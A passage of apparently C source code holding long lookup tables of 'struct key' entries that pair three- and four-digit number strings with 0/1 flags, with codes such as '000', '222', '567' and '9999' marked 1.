}, { "9150", 0 }, { "9151", 0 }, { "9152", 0 }, { "9153", 0 }, { "9154", 0 }, { "9155", 0 }, { "9156", 0 }, { "9157", 0 }, { "9158", 0 }, { "9159", 0 }, { "9160", 0 }, { "9161", 0 }, { "9162", 0 }, { "9163", 0 }, { "9164", 0 }, { "9165", 0 }, { "9166", 0 }, { "9167", 0 }, { "9168", 0 }, { "9169", 0 }, { "9170", 0 }, { "9171", 0 }, { "9172", 0 }, { "9173", 0 }, { "9174", 0 }, { "9175", 0 }, { "9176", 0 }, { "9177", 0 }, { "9178", 0 }, { "9179", 0 }, { "9180", 0 }, { "9181", 0 }, { "9182", 0 }, { "9183", 0 }, { "9184", 0 }, { "9185", 0 }, { "9186", 0 }, { "9187", 0 }, { "9188", 0 }, { "9189", 0 }, { "9190", 0 }, { "9191", 0 }, { "9192", 0 }, { "9193", 0 }, { "9194", 0 }, { "9195", 0 }, { "9196", 0 }, { "9197", 0 }, { "9198", 0 }, { "9199", 0 }, { "9200", 0 }, { "9201", 0 }, { "9202", 0 }, { "9203", 0 }, { "9204", 0 }, { "9205", 0 }, { "9206", 0 }, { "9207", 0 }, { "9208", 0 }, { "9209", 0 }, { "9210", 0 }, { "9211", 0 }, { "9212", 0 }, { "9213", 0 }, { "9214", 0 }, { "9215", 0 }, { "9216", 0 }, { "9217", 0 }, { "9218", 0 }, { "9219", 0 }, { "9220", 0 }, { "9221", 0 }, { "9222", 0 }, { "9223", 0 }, { "9224", 0 }, { "9225", 0 }, { "9226", 0 }, { "9227", 0 }, { "9228", 0 }, { "9229", 0 }, { "9230", 0 }, { "9231", 0 }, { "9232", 0 }, { "9233", 0 }, { "9234", 0 }, { "9235", 0 }, { "9236", 0 }, { "9237", 0 }, { "9238", 0 }, { "9239", 0 }, { "9240", 0 }, { "9241", 0 }, { "9242", 0 }, { "9243", 0 }, { "9244", 0 }, { "9245", 0 }, { "9246", 0 }, { "9247", 0 }, { "9248", 0 }, { "9249", 0 }, { "9250", 0 }, { "9251", 0 }, { "9252", 0 }, { "9253", 0 }, { "9254", 0 }, { "9255", 0 }, { "9256", 0 }, { "9257", 0 }, { "9258", 0 }, { "9259", 0 }, { "9260", 0 }, { "9261", 0 }, { "9262", 0 }, { "9263", 0 }, { "9264", 0 }, { "9265", 0 }, { "9266", 0 }, { "9267", 0 }, { "9268", 0 }, { "9269", 0 }, { "9270", 0 }, { "9271", 0 }, { "9272", 0 }, { "9273", 0 }, { "9274", 0 }, { "9275", 0 }, { "9276", 0 }, { "9277", 0 }, { "9278", 0 }, { "9279", 0 }, { "9280", 0 }, { "9281", 0 }, { "9282", 0 }, { "9283", 0 }, { "9284", 0 }, { "9285", 0 }, { "9286", 0 }, { "9287", 0 }, { "9288", 0 }, { "9289", 0 }, { "9290", 0 }, { "9291", 0 }, { "9292", 0 }, { "9293", 0 }, { "9294", 0 }, { "9295", 0 }, { "9296", 0 }, { "9297", 0 }, { "9298", 0 }, { "9299", 0 }, { "9300", 0 }, { "9301", 0 }, { "9302", 0 }, { "9303", 0 }, { "9304", 0 }, { "9305", 0 }, { "9306", 0 }, { "9307", 0 }, { "9308", 0 }, { "9309", 0 }, { "9310", 0 }, { "9311", 0 }, { "9312", 0 }, { "9313", 0 }, { "9314", 0 }, { "9315", 0 }, { "9316", 0 }, { "9317", 0 }, { "9318", 0 }, { "9319", 0 }, { "9320", 0 }, { "9321", 0 }, { "9322", 0 }, { "9323", 0 }, { "9324", 0 }, { "9325", 0 }, { "9326", 0 }, { "9327", 0 }, { "9328", 0 }, { "9329", 0 }, { "9330", 0 }, { "9331", 0 }, { "9332", 0 }, { "9333", 0 }, { "9334", 0 }, { "9335", 0 }, { "9336", 0 }, { "9337", 0 }, { "9338", 0 }, { "9339", 0 }, { "9340", 0 }, { "9341", 0 }, { "9342", 0 }, { "9343", 0 }, { "9344", 0 }, { "9345", 0 }, { "9346", 0 }, { "9347", 0 }, { "9348", 0 }, { "9349", 0 }, { "9350", 0 }, { "9351", 0 }, { "9352", 0 }, { "9353", 0 }, { "9354", 0 }, { "9355", 0 }, { "9356", 0 }, { "9357", 0 }, { "9358", 0 }, { "9359", 0 }, { "9360", 0 }, { "9361", 0 }, { "9362", 0 }, { "9363", 0 }, { "9364", 0 }, { "9365", 0 }, { "9366", 0 }, { "9367", 0 }, { "9368", 0 }, { "9369", 0 }, { "9370", 0 }, { "9371", 0 }, { "9372", 0 }, { "9373", 0 }, { "9374", 0 }, { "9375", 0 }, { "9376", 0 }, { "9377", 0 }, { "9378", 0 }, { "9379", 0 }, { "9380", 0 }, { "9381", 0 }, { "9382", 0 }, { "9383", 0 }, { "9384", 0 }, { "9385", 0 }, { "9386", 0 }, { "9387", 0 }, { "9388", 0 }, { "9389", 0 }, { "9390", 0 }, { "9391", 0 }, { "9392", 0 }, { "9393", 0 }, { "9394", 0 }, { "9395", 0 }, { "9396", 0 }, { "9397", 0 }, { "9398", 0 }, { "9399", 0 }, { "9400", 0 }, { "9401", 0 }, { "9402", 0 }, { "9403", 0 }, { "9404", 0 }, { "9405", 0 }, { "9406", 0 }, { "9407", 0 }, { "9408", 0 }, { "9409", 0 }, { "9410", 0 }, { "9411", 0 }, { "9412", 0 }, { "9413", 0 }, { "9414", 0 }, { "9415", 0 }, { "9416", 0 }, { "9417", 0 }, { "9418", 0 }, { "9419", 0 }, { "9420", 0 }, { "9421", 0 }, { "9422", 0 }, { "9423", 0 }, { "9424", 0 }, { "9425", 0 }, { "9426", 0 }, { "9427", 0 }, { "9428", 0 }, { "9429", 0 }, { "9430", 0 }, { "9431", 0 }, { "9432", 0 }, { "9433", 0 }, { "9434", 0 }, { "9435", 0 }, { "9436", 0 }, { "9437", 0 }, { "9438", 0 }, { "9439", 0 }, { "9440", 0 }, { "9441", 0 }, { "9442", 0 }, { "9443", 0 }, { "9444", 0 }, { "9445", 0 }, { "9446", 0 }, { "9447", 0 }, { "9448", 0 }, { "9449", 0 }, { "9450", 0 }, { "9451", 0 }, { "9452", 0 }, { "9453", 0 }, { "9454", 0 }, { "9455", 0 }, { "9456", 0 }, { "9457", 0 }, { "9458", 0 }, { "9459", 0 }, { "9460", 0 }, { "9461", 0 }, { "9462", 0 }, { "9463", 0 }, { "9464", 0 }, { "9465", 0 }, { "9466", 0 }, { "9467", 0 }, { "9468", 0 }, { "9469", 0 }, { "9470", 0 }, { "9471", 0 }, { "9472", 0 }, { "9473", 0 }, { "9474", 0 }, { "9475", 0 }, { "9476", 0 }, { "9477", 0 }, { "9478", 0 }, { "9479", 0 }, { "9480", 0 }, { "9481", 0 }, { "9482", 0 }, { "9483", 0 }, { "9484", 0 }, { "9485", 0 }, { "9486", 0 }, { "9487", 0 }, { "9488", 0 }, { "9489", 0 }, { "9490", 0 }, { "9491", 0 }, { "9492", 0 }, { "9493", 0 }, { "9494", 0 }, { "9495", 0 }, { "9496", 0 }, { "9497", 0 }, { "9498", 0 }, { "9499", 0 }, { "9500", 0 }, { "9501", 0 }, { "9502", 0 }, { "9503", 0 }, { "9504", 0 }, { "9505", 0 }, { "9506", 0 }, { "9507", 0 }, { "9508", 0 }, { "9509", 0 }, { "9510", 0 }, { "9511", 0 }, { "9512", 0 }, { "9513", 0 }, { "9514", 0 }, { "9515", 0 }, { "9516", 0 }, { "9517", 0 }, { "9518", 0 }, { "9519", 0 }, { "9520", 0 }, { "9521", 0 }, { "9522", 0 }, { "9523", 0 }, { "9524", 0 }, { "9525", 0 }, { "9526", 0 }, { "9527", 0 }, { "9528", 0 }, { "9529", 0 }, { "9530", 0 }, { "9531", 0 }, { "9532", 0 }, { "9533", 0 }, { "9534", 0 }, { "9535", 0 }, { "9536", 0 }, { "9537", 0 }, { "9538", 0 }, { "9539", 0 }, { "9540", 0 }, { "9541", 0 }, { "9542", 0 }, { "9543", 0 }, { "9544", 0 }, { "9545", 0 }, { "9546", 0 }, { "9547", 0 }, { "9548", 0 }, { "9549", 0 }, { "9550", 0 }, { "9551", 0 }, { "9552", 0 }, { "9553", 0 }, { "9554", 0 }, { "9555", 0 }, { "9556", 0 }, { "9557", 0 }, { "9558", 0 }, { "9559", 0 }, { "9560", 0 }, { "9561", 0 }, { "9562", 0 }, { "9563", 0 }, { "9564", 0 }, { "9565", 0 }, { "9566", 0 }, { "9567", 0 }, { "9568", 0 }, { "9569", 0 }, { "9570", 0 }, { "9571", 0 }, { "9572", 0 }, { "9573", 0 }, { "9574", 0 }, { "9575", 0 }, { "9576", 0 }, { "9577", 0 }, { "9578", 0 }, { "9579", 0 }, { "9580", 0 }, { "9581", 0 }, { "9582", 0 }, { "9583", 0 }, { "9584", 0 }, { "9585", 0 }, { "9586", 0 }, { "9587", 0 }, { "9588", 0 }, { "9589", 0 }, { "9590", 0 }, { "9591", 0 }, { "9592", 0 }, { "9593", 0 }, { "9594", 0 }, { "9595", 0 }, { "9596", 0 }, { "9597", 0 }, { "9598", 0 }, { "9599", 0 }, { "9600", 0 }, { "9601", 0 }, { "9602", 0 }, { "9603", 0 }, { "9604", 0 }, { "9605", 0 }, { "9606", 0 }, { "9607", 0 }, { "9608", 0 }, { "9609", 0 }, { "9610", 0 }, { "9611", 0 }, { "9612", 0 }, { "9613", 0 }, { "9614", 0 }, { "9615", 0 }, { "9616", 0 }, { "9617", 0 }, { "9618", 0 }, { "9619", 0 }, { "9620", 0 }, { "9621", 0 }, { "9622", 0 }, { "9623", 0 }, { "9624", 0 }, { "9625", 0 }, { "9626", 0 }, { "9627", 0 }, { "9628", 0 }, { "9629", 0 }, { "9630", 0 }, { "9631", 0 }, { "9632", 0 }, { "9633", 0 }, { "9634", 0 }, { "9635", 0 }, { "9636", 0 }, { "9637", 0 }, { "9638", 0 }, { "9639", 0 }, { "9640", 0 }, { "9641", 0 }, { "9642", 0 }, { "9643", 0 }, { "9644", 0 }, { "9645", 0 }, { "9646", 0 }, { "9647", 0 }, { "9648", 0 }, { "9649", 0 }, { "9650", 0 }, { "9651", 0 }, { "9652", 0 }, { "9653", 0 }, { "9654", 0 }, { "9655", 0 }, { "9656", 0 }, { "9657", 0 }, { "9658", 0 }, { "9659", 0 }, { "9660", 0 }, { "9661", 0 }, { "9662", 0 }, { "9663", 0 }, { "9664", 0 }, { "9665", 0 }, { "9666", 0 }, { "9667", 0 }, { "9668", 0 }, { "9669", 0 }, { "9670", 0 }, { "9671", 0 }, { "9672", 0 }, { "9673", 0 }, { "9674", 0 }, { "9675", 0 }, { "9676", 0 }, { "9677", 0 }, { "9678", 0 }, { "9679", 0 }, { "9680", 0 }, { "9681", 0 }, { "9682", 0 }, { "9683", 0 }, { "9684", 0 }, { "9685", 0 }, { "9686", 0 }, { "9687", 0 }, { "9688", 0 }, { "9689", 0 }, { "9690", 0 }, { "9691", 0 }, { "9692", 0 }, { "9693", 0 }, { "9694", 0 }, { "9695", 0 }, { "9696", 0 }, { "9697", 0 }, { "9698", 0 }, { "9699", 0 }, { "9700", 0 }, { "9701", 0 }, { "9702", 0 }, { "9703", 0 }, { "9704", 0 }, { "9705", 0 }, { "9706", 0 }, { "9707", 0 }, { "9708", 0 }, { "9709", 0 }, { "9710", 0 }, { "9711", 0 }, { "9712", 0 }, { "9713", 0 }, { "9714", 0 }, { "9715", 0 }, { "9716", 0 }, { "9717", 0 }, { "9718", 0 }, { "9719", 0 }, { "9720", 0 }, { "9721", 0 }, { "9722", 0 }, { "9723", 0 }, { "9724", 0 }, { "9725", 0 }, { "9726", 0 }, { "9727", 0 }, { "9728", 0 }, { "9729", 0 }, { "9730", 0 }, { "9731", 0 }, { "9732", 0 }, { "9733", 0 }, { "9734", 0 }, { "9735", 0 }, { "9736", 0 }, { "9737", 0 }, { "9738", 0 }, { "9739", 0 }, { "9740", 0 }, { "9741", 0 }, { "9742", 0 }, { "9743", 0 }, { "9744", 0 }, { "9745", 0 }, { "9746", 0 }, { "9747", 0 }, { "9748", 0 }, { "9749", 0 }, { "9750", 0 }, { "9751", 0 }, { "9752", 0 }, { "9753", 0 }, { "9754", 0 }, { "9755", 0 }, { "9756", 0 }, { "9757", 0 }, { "9758", 0 }, { "9759", 0 }, { "9760", 0 }, { "9761", 0 }, { "9762", 0 }, { "9763", 0 }, { "9764", 0 }, { "9765", 0 }, { "9766", 0 }, { "9767", 0 }, { "9768", 0 }, { "9769", 0 }, { "9770", 0 }, { "9771", 0 }, { "9772", 0 }, { "9773", 0 }, { "9774", 0 }, { "9775", 0 }, { "9776", 0 }, { "9777", 0 }, { "9778", 0 }, { "9779", 0 }, { "9780", 0 }, { "9781", 0 }, { "9782", 0 }, { "9783", 0 }, { "9784", 0 }, { "9785", 0 }, { "9786", 0 }, { "9787", 0 }, { "9788", 0 }, { "9789", 0 }, { "9790", 0 }, { "9791", 0 }, { "9792", 0 }, { "9793", 0 }, { "9794", 0 }, { "9795", 0 }, { "9796", 0 }, { "9797", 0 }, { "9798", 0 }, { "9799", 0 }, { "9800", 0 }, { "9801", 0 }, { "9802", 0 }, { "9803", 0 }, { "9804", 0 }, { "9805", 0 }, { "9806", 0 }, { "9807", 0 }, { "9808", 0 }, { "9809", 0 }, { "9810", 0 }, { "9811", 0 }, { "9812", 0 }, { "9813", 0 }, { "9814", 0 }, { "9815", 0 }, { "9816", 0 }, { "9817", 0 }, { "9818", 0 }, { "9819", 0 }, { "9820", 0 }, { "9821", 0 }, { "9822", 0 }, { "9823", 0 }, { "9824", 0 }, { "9825", 0 }, { "9826", 0 }, { "9827", 0 }, { "9828", 0 }, { "9829", 0 }, { "9830", 0 }, { "9831", 0 }, { "9832", 0 }, { "9833", 0 }, { "9834", 0 }, { "9835", 0 }, { "9836", 0 }, { "9837", 0 }, { "9838", 0 }, { "9839", 0 }, { "9840", 0 }, { "9841", 0 }, { "9842", 0 }, { "9843", 0 }, { "9844", 0 }, { "9845", 0 }, { "9846", 0 }, { "9847", 0 }, { "9848", 0 }, { "9849", 0 }, { "9850", 0 }, { "9851", 0 }, { "9852", 0 }, { "9853", 0 }, { "9854", 0 }, { "9855", 0 }, { "9856", 0 }, { "9857", 0 }, { "9858", 0 }, { "9859", 0 }, { "9860", 0 }, { "9861", 0 }, { "9862", 0 }, { "9863", 0 }, { "9864", 0 }, { "9865", 0 }, { "9866", 0 }, { "9867", 0 }, { "9868", 0 }, { "9869", 0 }, { "9870", 0 }, { "9871", 0 }, { "9872", 0 }, { "9873", 0 }, { "9874", 0 }, { "9875", 0 }, { "9876", 0 }, { "9877", 0 }, { "9878", 0 }, { "9879", 0 }, { "9880", 0 }, { "9881", 0 }, { "9882", 0 }, { "9883", 0 }, { "9884", 0 }, { "9885", 0 }, { "9886", 0 }, { "9887", 0 }, { "9888", 0 }, { "9889", 0 }, { "9890", 0 }, { "9891", 0 }, { "9892", 0 }, { "9893", 0 }, { "9894", 0 }, { "9895", 0 }, { "9896", 0 }, { "9897", 0 }, { "9898", 0 }, { "9899", 0 }, { "9900", 0 }, { "9901", 0 }, { "9902", 0 }, { "9903", 0 }, { "9904", 0 }, { "9905", 0 }, { "9906", 0 }, { "9907", 0 }, { "9908", 0 }, { "9909", 0 }, { "9910", 0 }, { "9911", 0 }, { "9912", 0 }, { "9913", 0 }, { "9914", 0 }, { "9915", 0 }, { "9916", 0 }, { "9917", 0 }, { "9918", 0 }, { "9919", 0 }, { "9920", 0 }, { "9921", 0 }, { "9922", 0 }, { "9923", 0 }, { "9924", 0 }, { "9925", 0 }, { "9926", 0 }, { "9927", 0 }, { "9928", 0 }, { "9929", 0 }, { "9930", 0 }, { "9931", 0 }, { "9932", 0 }, { "9933", 0 }, { "9934", 0 }, { "9935", 0 }, { "9936", 0 }, { "9937", 0 }, { "9938", 0 }, { "9939", 0 }, { "9940", 0 }, { "9941", 0 }, { "9942", 0 }, { "9943", 0 }, { "9944", 0 }, { "9945", 0 }, { "9946", 0 }, { "9947", 0 }, { "9948", 0 }, { "9949", 0 }, { "9950", 0 }, { "9951", 0 }, { "9952", 0 }, { "9953", 0 }, { "9954", 0 }, { "9955", 0 }, { "9956", 0 }, { "9957", 0 }, { "9958", 0 }, { "9959", 0 }, { "9960", 0 }, { "9961", 0 }, { "9962", 0 }, { "9963", 0 }, { "9964", 0 }, { "9965", 0 }, { "9966", 0 }, { "9967", 0 }, { "9968", 0 }, { "9969", 0 }, { "9970", 0 }, { "9971", 0 }, { "9972", 0 }, { "9973", 0 }, { "9974", 0 }, { "9975", 0 }, { "9976", 0 }, { "9977", 0 }, { "9978", 0 }, { "9979", 0 }, { "9980", 0 }, { "9981", 0 }, { "9982", 0 }, { "9983", 0 }, { "9984", 0 }, { "9985", 0 }, { "9986", 0 }, { "9987", 0 }, { "9988", 0 }, { "9989", 0 }, { "9990", 0 }, { "9991", 0 }, { "9992", 0 }, { "9993", 0 }, { "9994", 0 }, { "9995", 0 }, { "9996", 0 }, { "9997", 0 }, { "9998", 0 }, { "9999", 1 } }; struct key k2[P2_SIZE] = { { "567", 1 }, { "000", 1 }, { "001", 0 }, { "002", 0 }, { "003", 0 }, { "004", 0 }, { "005", 0 }, { "006", 0 }, { "007", 0 }, { "008", 0 }, { "009", 0 }, { "010", 0 }, { "011", 0 }, { "012", 0 }, { "013", 0 }, { "014", 0 }, { "015", 0 }, { "016", 0 }, { "017", 0 }, { "018", 0 }, { "019", 0 }, { "020", 0 }, { "021", 0 }, { "022", 0 }, { "023", 0 }, { "024", 0 }, { "025", 0 }, { "026", 0 }, { "027", 0 }, { "028", 0 }, { "029", 0 }, { "030", 0 }, { "031", 0 }, { "032", 0 }, { "033", 0 }, { "034", 0 }, { "035", 0 }, { "036", 0 }, { "037", 0 }, { "038", 0 }, { "039", 0 }, { "040", 0 }, { "041", 0 }, { "042", 0 }, { "043", 0 }, { "044", 0 }, { "045", 0 }, { "046", 0 }, { "047", 0 }, { "048", 0 }, { "049", 0 }, { "050", 0 }, { "051", 0 }, { "052", 0 }, { "053", 0 }, { "054", 0 }, { "055", 0 }, { "056", 0 }, { "057", 0 }, { "058", 0 }, { "059", 0 }, { "060", 0 }, { "061", 0 }, { "062", 0 }, { "063", 0 }, { "064", 0 }, { "065", 0 }, { "066", 0 }, { "067", 0 }, { "068", 0 }, { "069", 0 }, { "070", 0 }, { "071", 0 }, { "072", 0 }, { "073", 0 }, { "074", 0 }, { "075", 0 }, { "076", 0 }, { "077", 0 }, { "078", 0 }, { "079", 0 }, { "080", 0 }, { "081", 0 }, { "082", 0 }, { "083", 0 }, { "084", 0 }, { "085", 0 }, { "086", 0 }, { "087", 0 }, { "088", 0 }, { "089", 0 }, { "090", 0 }, { "091", 0 }, { "092", 0 }, { "093", 0 }, { "094", 0 }, { "095", 0 }, { "096", 0 }, { "097", 0 }, { "098", 0 }, { "099", 0 }, { "100", 0 }, { "101", 0 }, { "102", 0 }, { "103", 0 }, { "104", 0 }, { "105", 0 }, { "106", 0 }, { "107", 0 }, { "108", 0 }, { "109", 0 }, { "110", 0 }, { "111", 0 }, { "112", 0 }, { "113", 0 }, { "114", 0 }, { "115", 0 }, { "116", 0 }, { "117", 0 }, { "118", 0 }, { "119", 0 }, { "120", 0 }, { "121", 0 }, { "122", 0 }, { "123", 0 }, { "124", 0 }, { "125", 0 }, { "126", 0 }, { "127", 0 }, { "128", 0 }, { "129", 0 }, { "130", 0 }, { "131", 0 }, { "132", 0 }, { "133", 0 }, { "134", 0 }, { "135", 0 }, { "136", 0 }, { "137", 0 }, { "138", 0 }, { "139", 0 }, { "140", 0 }, { "141", 0 }, { "142", 0 }, { "143", 0 }, { "144", 0 }, { "145", 0 }, { "146", 0 }, { "147", 0 }, { "148", 0 }, { "149", 0 }, { "150", 0 }, { "151", 0 }, { "152", 0 }, { "153", 0 }, { "154", 0 }, { "155", 0 }, { "156", 0 }, { "157", 0 }, { "158", 0 }, { "159", 0 }, { "160", 0 }, { "161", 0 }, { "162", 0 }, { "163", 0 }, { "164", 0 }, { "165", 0 }, { "166", 0 }, { "167", 0 }, { "168", 0 }, { "169", 0 }, { "170", 0 }, { "171", 0 }, { "172", 0 }, { "173", 0 }, { "174", 0 }, { "175", 0 }, { "176", 0 }, { "177", 0 }, { "178", 0 }, { "179", 0 }, { "180", 0 }, { "181", 0 }, { "182", 0 }, { "183", 0 }, { "184", 0 }, { "185", 0 }, { "186", 0 }, { "187", 0 }, { "188", 0 }, { "189", 0 }, { "190", 0 }, { "191", 0 }, { "192", 0 }, { "193", 0 }, { "194", 0 }, { "195", 0 }, { "196", 0 }, { "197", 0 }, { "198", 0 }, { "199", 0 }, { "200", 0 }, { "201", 0 }, { "202", 0 }, { "203", 0 }, { "204", 0 }, { "205", 0 }, { "206", 0 }, { "207", 0 }, { "208", 0 }, { "209", 0 }, { "210", 0 }, { "211", 0 }, { "212", 0 }, { "213", 0 }, { "214", 0 }, { "215", 0 }, { "216", 0 }, { "217", 0 }, { "218", 0 }, { "219", 0 }, { "220", 0 }, { "221", 0 }, { "222", 1 }, { "223", 0 }, { "224", 0 }, { "225", 0 }, { "226", 0 }, { "227", 0 }, { "228", 0 }, { "229", 0 }, { "230", 0 }, { "231", 0 }, { "232", 0 }, { "233", 0 }, { "234", 0 }, { "235", 0 }, { "236", 0 }, { "237", 0 }, { "238", 0 }, { "239", 0 }, { "240", 0 }, { "241", 0 }, { "242", 0 }, { "243", 0 }, { "244", 0 }, { "245", 0 }, { "246", 0 }, { "247", 0 }, { "248", 0 }, { "249", 0 }, { "250", 0 }, { "251", 0 }, { "252", 0 }, { "253", 0 }, { "254", 0 }, { "255", 0 }, { "256", 0 }, { "257", 0 }, { "258", 0 }, { "259", 0 }, { "260", 0 }, { "261", 0 }, { "262", 0 }, { "263", 0 }, { "264", 0 }, { "265", 0 }, { "266", 0 }, { "267", 0 }, { "268", 0 }, { "269", 0 }, { "270", 0 }, { "271", 0 }, { "272", 0 }, { "273", 0 }, { "274", 0 }, { "275", 0 }, { "276", 0 }, { "277", 0 }, { "278", 0 }, { "279", 0 }, { "280", 0 }, { "281", 0 }, { "282", 0 }, { "283", 0 }, { "284", 0 }, { "285", 0 }, { "286", 0 }, { "287", 0 }, { "288", 0 }, { "289", 0 }, { "290", 0 }, { "291", 0 }, { "292", 0 }, { "293", 0 }, { "294", 0 }, { "295", 0 }, { "296", 0 }, { "297", 0 }, { "298", 0 }, { "299", 0 }, { "300", 0 }, { "301", 0 }, { "302", 0 }, { "303", 0 }, { "304", 0 }, { "305", 0 }, { "306", 0 }, { "307", 0 }, { "308", 0 }, { "309", 0 }, { "310", 0 }, { "311", 0 }, { "312", 0 }, { "313", 0 }, { "314", 0 }, { "315", 0 }, { "316", 0 }, { "317", 0 }, { "318", 0 }, { "319", 0 }, { "320", 0 }, { "321", 0 }, { "322", 0 }, { "323", 0 }, { "324", 0 }, { "325", 0 }, { "326", 0 }, { "327", 0 }, { "328", 0 }, { "329", 0 }, { "330", 0 }, { "331", 0 }, { "332", 0 }, { "333", 1 }, { "334", 0 }, { "335", 0 }, { "336", 0 }, { "337", 0 }, { "338", 0 }, { "339", 0 }, { "340", 0 }, { "341", 0 }, { "342", 0 }, { "343", 0 }, { "344", 0 }, { "345", 0 }, { "346", 0 }, { "347", 0 }, { "348", 0 }, { "349", 0 }, { "350", 0 }, { "351", 0 }, { "352", 0 }, { "353", 0 }, { "354", 0 }, { "355", 0 }, { "356", 0 }, { "357", 0 }, { "358", 0 }, { "359", 0 }, { "360", 0 }, { "361", 0 }, { "362", 0 }, { "363", 0 }, { "364", 0 }, { "365", 0 }, { "366", 0 }, { "367", 0 }, { "368", 0 }, { "369", 0 }, { "370", 0 }, { "371", 0 }, { "372", 0 }, { "373", 0 }, { "374", 0 }, { "375", 0 }, { "376", 0 }, { "377", 0 }, { "378", 0 }, { "379", 0 }, { "380", 0 }, { "381", 0 }, { "382", 0 }, { "383", 0 }, { "384", 0 }, { "385", 0 }, { "386", 0 }, { "387", 0 }, { "388", 0 }, { "389", 0 }, { "390", 0 }, { "391", 0 }, { "392", 0 }, { "393", 0 }, { "394", 0 }, { "395", 0 }, { "396", 0 }, { "397", 0 }, { "398", 0 }, { "399", 0 }, { "400", 0 }, { "401", 0 }, { "402", 0 }, { "403", 0 }, { "404", 0 }, { "405", 0 }, { "406", 0 }, { "407", 0 }, { "408", 0 }, { "409", 0 }, { "410", 0 }, { "411", 0 }, { "412", 0 }, { "413", 0 }, { "414", 0 }, { "415", 0 }, { "416", 0 }, { "417", 0 }, { "418", 0 }, { "419", 0 }, { "420", 0 }, { "421", 0 }, { "422", 0 }, { "423", 0 }, { "424", 0 }, { "425", 0 }, { "426", 0 }, { "427", 0 }, { "428", 0 }, { "429", 0 }, { "430", 0 }, { "431", 0 }, { "432", 0 }, { "433", 0 }, { "434", 0 }, { "435", 0 }, { "436", 0 }, { "437", 0 }, { "438", 0 }, { "439", 0 }, { "440", 0 }, { "441", 0 }, { "442", 0 }, { "443", 0 }, { "444", 1 }, { "445", 0 }, { "446", 0 }, { "447", 0 }, { "448", 0 }, { "449", 0 }, { "450", 0 }, { "451", 0 }, { "452", 0 }, { "453", 0 }, { "454", 0 }, { "455", 0 }, { "456", 0 }, { "457", 0 }, { "458", 0 }, { "459", 0 }, { "460", 0 }, { "461", 0 }, { "462", 0 }, { "463", 0 }, { "464", 0 }, { "465", 0 }, { "466", 0 }, { "467", 0 }, { "468", 0 }, { "469", 0 }, { "470", 0 }, { "471", 0 }, { "472", 0 }, { "473", 0 }, { "474", 0 }, { "475", 0 }, { "476", 0 }, { "477", 0 }, { "478", 0 }, { "479", 0 }, { "480", 0 }, { "481", 0 }, { "482", 0 }, { "483", 0 }, { "484", 0 }, { "485", 0 }, { "486", 0 }, { "487", 0 }, { "488", 0 }, { "489", 0 }, { "490", 0 }, { "491", 0 }, { "492", 0 }, { "493", 0 }, { "494", 0 }, { "495", 0 }, { "496", 0 }, { "497", 0 }, { "498", 0 }, { "499", 0 }, { "500", 0 }, { "501", 0 }, { "502", 0 }, { "503", 0 }, { "504", 0 }, { "505", 0 }, { "506", 0 }, { "507", 0 }, { "508", 0 }, { "509", 0 }, { "510", 0 }, { "511", 0 }, { "512", 0 }, { "513", 0 }, { "514", 0 }, { "515", 0 }, { "516", 0 }, { "517", 0 }, { "518", 0 }, { "519", 0 }, { "520", 0 }, { "521", 0 }, { "522", 0 }, { "523", 0 }, { "524", 0 }, { "525", 0 }, { "526", 0 }, { "527", 0 }, { "528", 0 }, { "529", 0 }, { "530", 0 }, { "531", 0 }, { "532", 0 }, { "533", 0 }, { "534", 0 }, { "535", 0 }, { "536", 0 }, { "537", 0 }, { "538", 0 }, { "539", 0 }, { "540", 0 }, { "541", 0 }, { "542", 0 }, { "543", 0 }, { "544", 0 }, { "545", 0 }, { "546", 0 }, { "547", 0 }, { "548", 0 }, { "549", 0 }, { "550", 0 }, { "551", 0 }, { "552", 0 }, { "553", 0 }, { "554", 0 }, { "555", 1 }, { "556", 0 }, { "557", 0 }, { "558", 0 }, { "559", 0 }, { "560", 0 }, { "561", 0 }, { "562", 0 }, { "563", 0 }, { "564", 0 }, { "565", 0 }, { "566", 0 }, { "568", 0 }, { "569", 0 }, { "570", 0 }, { "571", 0 }, { "572", 0 }, { "573", 0 }, { "574", 0 }, { "575", 0 }, { "576", 0 }, { "577", 0 }, { "578", 0 }, { "579", 0 }, { "580", 0 }, { "581", 0 }, { "582", 0 }, { "583", 0 }, { "584", 0 }, { "585", 0 }, { "586", 0 }, { "587", 0 }, { "588", 0 }, { "589", 0 }, { "590", 0 }, { "591", 0 }, { "592", 0 }, { "593", 0 }, { "594", 0 }, { "595", 0 }, { "596", 0 }, { "597", 0 }, { "598", 0 }, { "599", 0 }, { "600", 0 }, { "601", 0 }, { "602", 0 }, { "603", 0 }, { "604", 0 }, { "605", 0 }, { "606", 0 }, { "607", 0 }, { "608", 0 }, { "609", 0 }, { "610", 0 }, { "611", 0 }, { "612", 0 }, { "613", 0 }, { "614", 0 }, { "615", 0 }, { "616", 0 }, { "617", 0 }, { "618", 0 }, { "619", 0 }, { "620", 0 }, { "621", 0 }, { "622", 0 }, { "623", 0 }, { "624", 0 }, { "625", 0 }, { "626", 0 }, { "627", 0 }, { "628", 0 }, { "629", 0 }, { "630", 0 }, { "631", 0 }, { "632", 0 }, { "633", 0 }, { "634", 0 }, { "635", 0 }, { "636", 0 }, { "637", 0 }, { "638", 0 }, { "639", 0 }, { "640", 0 }, { "641", 0 }, { "642", 0 }, { "643", 0 }, { "644", 0 }, { "645", 0 }, { "646", 0 }, { "647", 0 }, { "648", 0 }, { "649", 0 }, { "650", 0 }, { "651", 0 }, { "652", 0 }, { "653", 0 }, { "654", 0 }, { "655", 0 }, { "656", 0 }, { "657", 0 }, { "658", 0 }, { "659", 0 }, { "660", 0 }, { "661", 0 }, { "662", 0 }, { "663", 0 }, { "664", 0 }, { "665", 0 }, { "666", 1 }, { "667", 0 }, { "668", 0 }, { "669", 0 }, { "670", 0 }, { "671", 0 }, { "672", 0 }, { "673", 0 }, { "674", 0 }, { "675", 0 }, { "676", 0 }, { "677", 0 }, { "678", 0 }, { "679", 0 }, { "680", 0 }, { "681", 0 }, { "682", 0 }, { "683", 0 }, { "684", 0 }, { "685", 0 }, { "686", 0 }, { "687", 0 }, { "688", 0 }, { "689", 0 }, { "690", 0 }, { "691", 0 }, { "692", 0 }, { "693", 0 }, { "694", 0 }, { "695", 0 }, { "696", 0 }, { "697", 0 }, { "698", 0 }, { "699", 0 }, { "700", 0 }, { "701", 0 }, { "702", 0 }, { "703", 0 }, { "704", 0 }, { "705", 0 }, { "706", 0 }, { "707", 0 }, { "708", 0 }, { "709", 0 }, { "710", 0 }, { "711", 0 }, { "712", 0 }, { "713", 0 }, { "714", 0 }, { "715", 0 }, { "716", 0 }, { "717", 0 }, { "718", 0 }, { "719", 0 }, 